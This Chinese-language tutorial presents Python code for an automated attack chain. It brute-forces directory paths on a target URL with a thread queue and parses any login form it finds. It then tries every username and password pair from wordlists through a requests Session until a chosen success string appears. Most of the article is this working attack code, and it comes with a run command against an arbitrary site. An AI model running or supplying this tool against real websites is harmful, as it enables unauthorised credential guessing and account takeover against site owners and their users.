Python实现路径遍历与表单自动爆破实战
本文介绍利用Python进行路径遍历及后续表单爆破的完整流程。通过多线程队列快速识别返回200状态码的有效路径,随后解析HTML提取Form中的Input字段构建POST参数。利用Requests库的Session机制保持Cookie状态,执行登录尝试,并通过预设关键字验证登录结果,实现从路径发现到凭证破解的自动化处理。
Python路径遍历与表单爆破实战概述
首先利用Python遍历目录路径,采用字典爆破的方式。若仅进行路径爆破,编写简单的多线程脚本即可满足需求。本文重点探讨在获取有效路径后的第二步利用,即对猜解到的路径进行表单发现及登录爆破处理。
路径爆破与有效路径识别
第一步执行路径爆破,使用多线程队列机制扫描路径,通过判断HTTP响应码是否为200来确认路径的有效性。
while not self._queue.empty():
queue = self._queue.get(timeout=0.5)
try:
r = requests.get(self.url+queue,timeout=5, headers=self.headers)
if r.status_code == 200:
print "[200] %s" %(queue)
soup = BeautifulSoup(r.content,'html.parser')
if soup.find('form'):
self.brute(soup, queue)
表单解析与POST参数构建
当猜解到有效路径后,将其交由brute方法处理。该方法实现了一个CSS选择器,用于获取form表单中的input字段标签,提取标签参数并组合成POST参数值。同时,提取表单中的action跳转页面地址,若未指定则默认在当前表单页面提交。
input = soup.select("form input")
for i in input:
try:
if i.attrs['type'] == "hidden":
name, value = i.attrs['name'], i.attrs['value']
list_post.append(name+'='+value)
elif i.attrs['type'] == 'password':
name = i.attrs['name']
list_post.append(name+'=$$$')
else:
name = i.attrs['name']
list_post.append(name+'=%%%')
except:
continue
for i in list_post:
post = post + i + '&'
action = soup.find_all('form')
for i in action:
if i['action']:
actiontag = i['action']
else:
actiontag = queue
self.payload(post, actiontag)
Session会话管理与登录验证
获取参数值后,交由payload方法处理登录逻辑,采用requests库的Session机制进行登录。首先通过Session请求获取Cookie,随后利用携带该Cookie的Session进行请求提交。最后,对输入的验证值进行判断,以确定是否登录成功。
for name in self.username():
post_user = post.replace('%%%',name.strip())
for pwd in self.password():
post_pwd = post_user.replace('$$$',pwd.strip())
session = requests.Session()
session.get(self.url+'/'+action, headers=self.headers, verify=False)
r = session.post(self.url+'/'+action, data=post_pwd, headers=self.headers, verify=False)
if self.word in r.content:
print '[username] %s' %name +'\r' + '[password] %s' %pwd
return
为了判断登录是否成功,采用人为输入特定判断字符串的形式。脚本的执行形式示例为。
python xxx.py http://xxxx.com xxxxx
以上就是Python遍历路径破解表单的示例的详细内容,更多关于Python破解表单的资料请关注本站其它相关文章!
本站声明
本文内容仅供参考,不代表本站观点。转载或引用请注明出处。如发现内容问题,请通过联系我们页面反馈。













